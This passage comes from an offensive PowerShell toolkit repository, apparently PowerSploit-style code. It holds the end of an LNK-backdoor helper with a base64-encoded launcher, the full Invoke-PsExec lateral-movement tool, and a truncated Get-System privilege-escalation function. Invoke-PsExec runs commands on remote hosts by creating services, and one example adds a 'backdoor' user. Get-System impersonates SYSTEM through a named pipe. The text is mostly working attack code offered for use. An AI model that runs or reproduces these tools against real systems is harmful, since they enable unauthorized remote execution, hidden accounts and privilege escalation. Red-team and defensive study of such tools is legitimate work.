AG8AdQByAGMAZQBzAFwAZABuAFMAcAB5AFwAZABuAFMAcAB5AC4AZQB4AGUAJwApADsASQBFAFgAIAAoAFsAVABlAHgAdAAuAEUA 356 | bgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBG 357 | AHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAHAAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkA 358 | YwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABkAGUAYgB1AGcAKQAuAGQAZQBiAHUAZwApACkAKQA= 359 | RegPath : HKCU:\Software\Microsoft\Windows\debug 360 | 361 | .EXAMPLE 362 | 363 | PS C:\> Find-LNKBackdoor | Remove-LNKBackdoor 364 | 365 | Finds all backdoored LNK files on the system and restores the original LNK functionality. 366 | #> 367 | [CmdletBinding()] 368 | Param( 369 | [Parameter(Position = 0, ValueFromPipeline = $True)] 370 | [ValidateScript({Test-Path -Path $_ })] 371 | [String[]] 372 | $Path = @("$($Env:WinDir | Split-Path -Qualifier)\Users\") 373 | ) 374 | 375 | PROCESS { 376 | ForEach($SearchPath in $Path) { 377 | # find all .LNK files in the specified search paths 378 | Get-ChildItem -Path $SearchPath -Recurse -Force -Include @('*.lnk') -ErrorAction SilentlyContinue | ForEach-Object { 379 | $LNK = Get-LNKBackdoor -Path $_ 380 | if($LNK.LaunchCommand -match 'powershell\.exe -nop -enc') { 381 | $LNK 382 | } 383 | } 384 | } 385 | } 386 | } 387 | -------------------------------------------------------------------------------- /Invoke-PsExec.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-PsExec { 2 | <# 3 | .SYNOPSIS 4 | 5 | This function is a rough port of Metasploit's psexec functionality. 6 | It utilizes Windows API calls to open up the service manager on 7 | a remote machine, creates/run a service with an associated binary 8 | path or command, and then cleans everything up. 9 | 10 | Either a -Command or a custom -ServiceEXE can be specified. 11 | For -Commands, a -ResultsFile can also be specified to retrieve the 12 | results of the executed command. 13 | 14 | Adapted from MSF's version (see links). 15 | 16 | Author: @harmj0y 17 | License: BSD 3-Clause 18 | 19 | .PARAMETER ComputerName 20 | 21 | ComputerName to run the command on. 22 | 23 | .PARAMETER Command 24 | 25 | Binary path (or Windows command) to execute. 26 | 27 | .PARAMETER ServiceName 28 | 29 | The name of the service to create, defaults to "TestSVC" 30 | 31 | .PARAMETER ResultFile 32 | 33 | If you want results from your command, specify this flag. 34 | Name of the file to write the results to locally, defaults to 35 | copying in the temporary result file to the local location. 36 | 37 | .PARAMETER ServiceEXE 38 | 39 | Local service binary to upload/execute on the remote host 40 | (instead of a command to execute). 41 | 42 | .PARAMETER NoCleanup 43 | 44 | Don't remove the service after starting it (for ServiceEXEs). 45 | 46 | .EXAMPLE 47 | 48 | PS C:\> Invoke-PsExec -ComputerName 192.168.50.200 -Command "net user backdoor password123 /add" -ServiceName Updater32 49 | 50 | Creates a user named backdoor on the 192.168.50.200 host, with the 51 | temporary service being named 'Updater32'. 52 | 53 | .EXAMPLE 54 | 55 | PS C:\> Invoke-PsExec -ComputerName 192.168.50.200 -Command "dir C:\" -ServiceName Updater32 -ResultFile "results.txt" 56 | 57 | Runs the "dir C:\" command on 192.168.50.200 with a temporary service named 'Updater32', 58 | and copies the result file to "results.txt" on the local path. 59 | 60 | .EXAMPLE 61 | 62 | PS C:\> Invoke-PsExec -ComputerName 192.168.50.200 -ServiceName Updater32 -ServiceEXE "service.exe" 63 | 64 | Uploads "service.exe" to the remote host, registers/starts it as a service with name 65 | 'Updater32', and removes the service/binary after it runs (or fails to respond w/in 30 seconds). 66 | 67 | .LINK 68 | 69 | https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb 70 | https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb 71 | #> 72 | [CmdletBinding()] 73 | param( 74 | [Parameter(Mandatory = $True)] 75 | [String] 76 | $ComputerName, 77 | 78 | [String] 79 | $Command, 80 | 81 | [String] 82 | $ServiceName = "TestSVC", 83 | 84 | [String] 85 | $ResultFile, 86 | 87 | [String] 88 | $ServiceEXE, 89 | 90 | [switch] 91 | $NoCleanup 92 | ) 93 | 94 | $ErrorActionPreference = "Stop" 95 | 96 | # http://stackingcode.com/blog/2011/10/27/quick-random-string 97 | function Local:Get-RandomString 98 | { 99 | param ( 100 | [int]$Length = 12 101 | ) 102 | $set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray() 103 | $result = "" 104 | for ($x = 0; $x -lt $Length; $x++) { 105 | $result += $set | Get-Random 106 | } 107 | $result 108 | } 109 | 110 | # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html 111 | function Local:Get-DelegateType 112 | { 113 | Param 114 | ( 115 | [OutputType([Type])] 116 | 117 | [Parameter( Position = 0)] 118 | [Type[]] 119 | $Parameters = (New-Object Type[](0)), 120 | 121 | [Parameter( Position = 1 )] 122 | [Type] 123 | $ReturnType = [Void] 124 | ) 125 | 126 | $Domain = [AppDomain]::CurrentDomain 127 | $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') 128 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) 129 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) 130 | $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 131 | $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) 132 | $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') 133 | $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) 134 | $MethodBuilder.SetImplementationFlags('Runtime, Managed') 135 | 136 | Write-Output $TypeBuilder.CreateType() 137 | } 138 | 139 | # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html 140 | function Local:Get-ProcAddress 141 | { 142 | Param 143 | ( 144 | [OutputType([IntPtr])] 145 | 146 | [Parameter( Position = 0, Mandatory = $True )] 147 | [String] 148 | $Module, 149 | 150 | [Parameter( Position = 1, Mandatory = $True )] 151 | [String] 152 | $Procedure 153 | ) 154 | 155 | # Get a reference to System.dll in the GAC 156 | $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | 157 | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } 158 | $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') 159 | # Get a reference to the GetModuleHandle and GetProcAddress methods 160 | $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') 161 | $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') 162 | # Get a handle to the module specified 163 | $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) 164 | $tmpPtr = New-Object IntPtr 165 | $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) 166 | 167 | # Return the address of the function 168 | Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) 169 | } 170 | 171 | 172 | function Local:Invoke-PsExecCmd 173 | { 174 | param( 175 | [Parameter(Mandatory = $True)] 176 | [String] 177 | $ComputerName, 178 | 179 | [Parameter(Mandatory = $True)] 180 | [String] 181 | $Command, 182 | 183 | [String] 184 | $ServiceName = "TestSVC", 185 | 186 | [switch] 187 | $NoCleanup 188 | ) 189 | 190 | # Declare/setup all the needed API function 191 | # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html 192 | $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle 193 | $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int]) 194 | $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) 195 | 196 | $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA 197 | $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr]) 198 | $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) 199 | 200 | $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA 201 | $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr]) 202 | $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) 203 | 204 | $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA 205 | $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr]) 206 | $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) 207 | 208 | $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA 209 | $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr]) 210 | $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) 211 | 212 | $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService 213 | $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr]) 214 | $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) 215 | 216 | $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError 217 | $GetLastErrorDelegate = Get-DelegateType @() ([Int]) 218 | $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate) 219 | 220 | # Step 1 - OpenSCManager() 221 | # 0xF003F = SC_MANAGER_ALL_ACCESS 222 | # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx 223 | "[*] Opening service manager" 224 | $ManagerHandle = $OpenSCManagerA.Invoke("\\$ComputerName", "ServicesActive", 0xF003F) 225 | Write-Verbose "[*] Service manager handle: $ManagerHandle" 226 | 227 | # if we get a non-zero handle back, everything was successful 228 | if ($ManagerHandle -and ($ManagerHandle -ne 0)){ 229 | 230 | # Step 2 - CreateService() 231 | # 0xF003F = SC_MANAGER_ALL_ACCESS 232 | # 0x10 = SERVICE_WIN32_OWN_PROCESS 233 | # 0x3 = SERVICE_DEMAND_START 234 | # 0x1 = SERVICE_ERROR_NORMAL 235 | "[*] Creating new service: '$ServiceName'" 236 | $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) 237 | Write-Verbose "[*] CreateServiceA Handle: $ServiceHandle" 238 | 239 | if ($ServiceHandle -and ($ServiceHandle -ne 0)){ 240 | 241 | Write-Verbose "[*] Service successfully created" 242 | 243 | # Step 3 - CloseServiceHandle() for the service handle 244 | "[*] Closing service handle" 245 | $t = $CloseServiceHandle.Invoke($ServiceHandle) 246 | 247 | # Step 4 - OpenService() 248 | "[*] Opening the service '$ServiceName'" 249 | $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) 250 | Write-Verbose "[*] OpenServiceA handle: $ServiceHandle" 251 | 252 | if ($ServiceHandle -and ($ServiceHandle -ne 0)){ 253 | 254 | # Step 5 - StartService() 255 | "[*] Starting the service" 256 | $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) 257 | 258 | # if we successfully started the service, let it breathe and then delete it 259 | if ($val -ne 0){ 260 | Write-Verbose "[*] Service successfully started" 261 | # breathe for a second 262 | Start-Sleep -s 1 263 | } 264 | else{ 265 | # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx 266 | $err = $GetLastError.Invoke() 267 | if ($err -eq 1053){ 268 | Write-Warning "[*] Command didn't respond to start" 269 | } 270 | else{ 271 | Write-Warning "[!] StartService failed, LastError: $err" 272 | } 273 | # breathe for a second 274 | Start-Sleep -s 1 275 | } 276 | 277 | if (-not $NoCleanup) { 278 | # start cleanup 279 | # Step 6 - DeleteService() 280 | "[*] Deleting the service '$ServiceName'" 281 | $val = $DeleteService.invoke($ServiceHandle) 282 | 283 | if ($val -eq 0){ 284 | # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx 285 | $err = $GetLastError.Invoke() 286 | Write-Warning "[!] DeleteService failed, LastError: $err" 287 | } 288 | else{ 289 | Write-Verbose "[*] Service successfully deleted" 290 | } 291 | } 292 | 293 | # Step 7 - CloseServiceHandle() for the service handle 294 | "[*] Closing the service handle" 295 | $val = $CloseServiceHandle.Invoke($ServiceHandle) 296 | Write-Verbose "[*] Service handle closed off" 297 | 298 | } 299 | else{ 300 | # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx 301 | $err = $GetLastError.Invoke() 302 | Write-Warning "[!] OpenServiceA failed, LastError: $err" 303 | } 304 | } 305 | 306 | else{ 307 | # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx 308 | $err = $GetLastError.Invoke() 309 | Write-Warning "[!] CreateService failed, LastError: $err" 310 | } 311 | 312 | # final cleanup - close off the manager handle 313 | "[*] Closing the manager handle" 314 | $t = $CloseServiceHandle.Invoke($ManagerHandle) 315 | } 316 | else{ 317 | # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx 318 | $err = $GetLastError.Invoke() 319 | Write-Warning "[!] OpenSCManager failed, LastError: $err" 320 | } 321 | } 322 | 323 | if ($Command -and ($Command -ne "")) { 324 | 325 | if ($ResultFile -and ($ResultFile -ne "")) { 326 | # if we want to retrieve results from the invoked command 327 | 328 | # randomized temp files 329 | $TempText = $(Get-RandomString) + ".txt" 330 | $TempBat = $(Get-RandomString) + ".bat" 331 | 332 | # command to invoke to pipe to temp output files 333 | $cmd = "%COMSPEC% /C echo $Command ^> %systemroot%\Temp\$TempText > %systemroot%\Temp\$TempBat & %COMSPEC% /C start %COMSPEC% /C %systemroot%\Temp\$TempBat" 334 | 335 | Write-Verbose "PsEexec results command: $cmd" 336 | 337 | try { 338 | # invoke the command specified 339 | "[*] Executing command and retrieving results: '$Command'" 340 | Invoke-PsExecCmd -ComputerName $ComputerName -Command $cmd -ServiceName $ServiceName 341 | 342 | # retrieve the result file for the command 343 | $RemoteResultFile = "\\$ComputerName\Admin$\Temp\$TempText" 344 | "[*] Copying result file $RemoteResultFile to '$ResultFile'" 345 | Copy-Item -Force -Path $RemoteResultFile -Destination $ResultFile 346 | 347 | # clean up the .txt and .bat files 348 | Write-Verbose "[*] Removing $RemoteResultFile" 349 | Remove-Item -Force $RemoteResultFile 350 | 351 | Write-Verbose "[*] Removing \\$ComputerName\Admin$\Temp\$TempBat" 352 | Remove-Item -Force "\\$ComputerName\Admin$\Temp\$TempBat" 353 | } 354 | catch { 355 | Write-Warning "Error: $_" 356 | } 357 | } 358 | 359 | else { 360 | # if we're executing a plain command w/o needing results 361 | "[*] Executing command: '$Command'" 362 | Invoke-PsExecCmd -ComputerName $ComputerName -Command $Command -ServiceName $ServiceName 363 | } 364 | 365 | } 366 | 367 | elseif ($ServiceEXE -and ($ServiceEXE -ne "")) { 368 | # if we're using a custom .EXE for the PsExec call 369 | 370 | # upload the local service .EXE to the remote host 371 | $RemoteUploadPath = "\\$ComputerName\Admin$\$ServiceEXE" 372 | "[*] Copying service binary $ServiceEXE to '$RemoteUploadPath'" 373 | Copy-Item -Force -Path $ServiceEXE -Destination $RemoteUploadPath 374 | 375 | if(-not $NoCleanup) { 376 | # trigger the remote executable and cleanup after 377 | "[*] Executing service .EXE '$RemoteUploadPath' as service '$ServiceName' and cleaning up." 378 | Invoke-PsExecCmd -ComputerName $ComputerName -Command $RemoteUploadPath -ServiceName $ServiceName 379 | 380 | # remove the remote service .EXE 381 | "[*] Removing the remote service .EXE '$RemoteUploadPath'" 382 | Remove-Item -Path $RemoteUploadPath -Force 383 | } 384 | else { 385 | # upload/register the executable and don't clean up 386 | "[*] Executing service .EXE '$RemoteUploadPath' as service '$ServiceName' and not cleaning up." 387 | Invoke-PsExecCmd -ComputerName $ComputerName -Command $RemoteUploadPath -ServiceName $ServiceName -NoCleanup 388 | } 389 | } 390 | 391 | else { 392 | # error catching 393 | Write-Warning "'-Command' or '-ServiceEXE' must be specified." 394 | } 395 | } -------------------------------------------------------------------------------- /Get-System.ps1: -------------------------------------------------------------------------------- 1 | function Get-System { 2 | <# 3 | .SYNOPSIS 4 | 5 | GetSystem functionality inspired by Meterpreter's getsystem. 6 | 'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create 7 | a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. 8 | NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure 9 | token duplication works correctly. 10 | 11 | PowerSploit Function: Get-System 12 | Author: @harmj0y, @mattifestation 13 | License: BSD 3-Clause 14 | Required Dependencies: None 15 | Optional Dependencies: None 16 | 17 | .PARAMETER Technique 18 | 19 | The technique to use, 'NamedPipe' or 'Token'. 20 | 21 | .PARAMETER ServiceName 22 | 23 | The name of the service used with named pipe impersonation, defaults to 'TestSVC'. 24 | 25 | .PARAMETER PipeName 26 | 27 | The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. 28 | 29 | .PARAMETER RevToSelf 30 | 31 | Reverts the current thread privileges. 32 | 33 | .PARAMETER WhoAmI 34 | 35 | Switch. Display the credentials for the current PowerShell thread. 36 | 37 | .EXAMPLE 38 | 39 | PS> Get-System 40 | 41 | Uses named impersonate to elevate the current thread token to SYSTEM. 42 | 43 | .EXAMPLE 44 | 45 | PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' 46 | 47 | Uses named impersonate to elevate the current thread token to SYSTEM 48 | with a custom service and pipe name. 49 | 50 | .EXAMPLE 51 | 52 | PS> Get-System -Technique Token 53 | 54 | Uses token duplication to elevate the current thread token to SYSTEM. 55 | 56 | .EXAMPLE 57 | 58 | PS> Get-System -WhoAmI 59 | 60 | Displays the credentials for the current thread. 61 | 62 | .EXAMPLE 63 | 64 | PS> Get-System -RevToSelf 65 | 66 | Reverts the current thread privileges. 67 | 68 | .LINK 69 | 70 | https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c 71 | https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot 72 | http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ 73 | http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ 74 | #> 75 | [CmdletBinding(DefaultParameterSetName = 'NamedPipe')] 76 | param( 77 | [Parameter(ParameterSetName = "NamedPipe")] 78 | [Parameter(ParameterSetName = "Token")] 79 | [String] 80 | [ValidateSet("NamedPipe", "Token")] 81 | $Technique = 'NamedPipe', 82 | 83 | [Parameter(ParameterSetName = "NamedPipe")] 84 | [String] 85 | $ServiceName = 'TestSVC', 86 | 87 | [Parameter(ParameterSetName = "NamedPipe")] 88 | [String] 89 | $PipeName = 'TestSVC', 90 | 91 | [Parameter(ParameterSetName = "RevToSelf")] 92 | [Switch] 93 | $RevToSelf, 94 | 95 | [Parameter(ParameterSetName = "WhoAmI")] 96 | [Switch] 97 | $WhoAmI 98 | ) 99 | 100 | $ErrorActionPreference = "Stop" 101 | 102 | # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html 103 | function Local:Get-DelegateType 104 | { 105 | Param 106 | ( 107 | [OutputType([Type])] 108 | 109 | [Parameter( Position = 0)] 110 | [Type[]] 111 | $Parameters = (New-Object Type[](0)), 112 | 113 | [Parameter( Position = 1 )] 114 | [Type] 115 | $ReturnType = [Void] 116 | ) 117 | 118 | $Domain = [AppDomain]::CurrentDomain 119 | $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') 120 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) 121 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) 122 | $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 123 | $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) 124 | $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') 125 | $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) 126 | $MethodBuilder.SetImplementationFlags('Runtime, Managed') 127 | 128 | Write-Output $TypeBuilder.CreateType() 129 | } 130 | 131 | # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html 132 | function Local:Get-ProcAddress 133 | { 134 | Param 135 | ( 136 | [OutputType([IntPtr])] 137 | 138 | [Parameter( Position = 0, Mandatory = $True )] 139 | [String] 140 | $Module, 141 | 142 | [Parameter( Position = 1, Mandatory = $True )] 143 | [String] 144 | $Procedure 145 | ) 146 | 147 | # Get a reference to System.dll in the GAC 148 | $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | 149 | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } 150 | $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') 151 | # Get a reference to the GetModuleHandle and GetProcAddress methods 152 | $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') 153 | $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') 154 | # Get a handle to the module specified 155 | $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) 156 | $tmpPtr = New-Object IntPtr 157 | $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) 158 | 159 | # Return the address of the function 160 | Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) 161 | } 162 | 163 | # performs named pipe impersonation to elevate to SYSTEM without needing 164 | # SeDebugPrivilege 165 | function Local:Get-SystemNamedPipe { 166 | param( 167 | [String] 168 | $ServiceName = "TestSVC", 169 | 170 | [String] 171 | $PipeName = "TestSVC" 172 | ) 173 | 174 | $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`"" 175 | 176 | # create the named pipe used for impersonation and set appropriate permissions 177 | $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity 178 | $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) 179 | $PipeSecurity.AddAccessRule($AccessRule) 180 | $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) 181 | 182 | $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle() 183 | 184 | # Declare/setup all the needed API function 185 | # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html 186 | $ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient 187 | $ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int]) 188 | $ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate) 189 | 190 | $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle 191 | $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int]) 192 | $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) 193 | 194 | $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA 195 | $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr]) 196 | $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) 197 | 198 | $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA 199 | $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr]) 200 | $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) 201 | 202 | $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA 203 | $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr]) 204 | $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) 205 | 206 | $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA 207 | $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr]) 208 | $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) 209 | 210 | $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService 211 | $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr]) 212 | $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) 213 | 214 | $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError 215 | $GetLastErrorDelegate = Get-DelegateType @() ([Int]) 216 | $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate) 217 | 218 | # Step 1 - OpenSCManager() 219 | # 0xF003F = SC_MANAGER_ALL_ACCESS 220 | # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx 221 | Write-Verbose "Opening service manager" 222 | $ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F) 223 | Write-Verbose "Service manager handle: $ManagerHandle" 224 | 225 | # if we get a non-zero handle back, everything was successful 226 | if ($ManagerHandle -and ($ManagerHandle -ne 0)) { 227 | 228 | # Step 2 - CreateService() 229 | # 0xF003F = SC_MANAGER_ALL_ACCESS 230 | # 0x10 = SERVICE_WIN32_OWN_PROCESS 231 | # 0x3 = SERVICE_DEMAND_START 232 | # 0x1 = SERVICE_ERROR_NORMAL 233 | Write-Verbose "Creating new service: '$ServiceName'" 234 | try { 235 | $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) 236 | $err = $GetLastError.Invoke() 237 | } 238 | catch { 239 | Write-Warning "Error creating service : $_" 240 | $ServiceHandle = 0 241 | } 242 | Write-Verbose "CreateServiceA Handle: $ServiceHandle" 243 | 244 | if ($ServiceHandle -and ($ServiceHandle -ne 0)) { 245 | $Success = $True 246 | Write-Verbose "Service successfully created" 247 | 248 | # Step 3 - CloseServiceHandle() for the service handle 249 | Write-Verbose "Closing service handle" 250 | $Null = $CloseServiceHandle.Invoke($ServiceHandle) 251 | 252 | # Step 4 - OpenService() 253 | Write-Verbose "Opening the service '$ServiceName'" 254 | $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) 255 | Write-Verbose "OpenServiceA handle: $ServiceHandle" 256 | 257 | if ($ServiceHandle -and ($ServiceHandle -ne 0)){ 258 | 259 | # Step 5 - StartService() 260 | Write-Verbose "Starting the service" 261 | $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) 262 | $err = $GetLastError.Invoke() 263 | 264 | # if we successfully started the service, let it breathe and then delete it 265 | if ($val -ne 0){ 266 | Write-Verbose "Service successfully started" 267 | # breathe for a second 268 | Start-Sleep -s 1 269 | } 270 | else{ 271 | if ($err -eq 1053){ 272 | Write-Verbose "Command didn't respond to start" 273 | } 274 | else{ 275 | Write-Warning "StartService failed, LastError: $err" 276 | } 277 | # breathe for a second 278 | Start-Sleep -s 1 279 | } 280 | 281 | # start cleanup 282 | # Step 6 - DeleteService() 283 | Write-Verbose "Deleting the service '$ServiceName'" 284 | $val = $DeleteService.invoke($ServiceHandle) 285 | $err = $GetLastError.Invoke() 286 | 287 | if ($val -eq 0){ 288 | Write-Warning "DeleteService failed, LastError: $err" 289 | } 290 | else{ 291 | Write-Verbose "Service successfully deleted" 292 | } 293 | 294 | # Step 7 - CloseServiceHandle() for the service handle 295 | Write-Verbose "Closing the service handle" 296 | $val = $CloseServiceHandle.Invoke($ServiceHandle) 297 | Write-Verbose "Service handle closed off" 298 | } 299 | else { 300 | Write-Warning "[!] OpenServiceA failed, LastError: $err" 301 | } 302 | } 303 | 304 | else { 305 | Write-Warning "[!] CreateService failed, LastError: $err" 306 | } 307 | 308 | # final cleanup - close off the manager handle 309 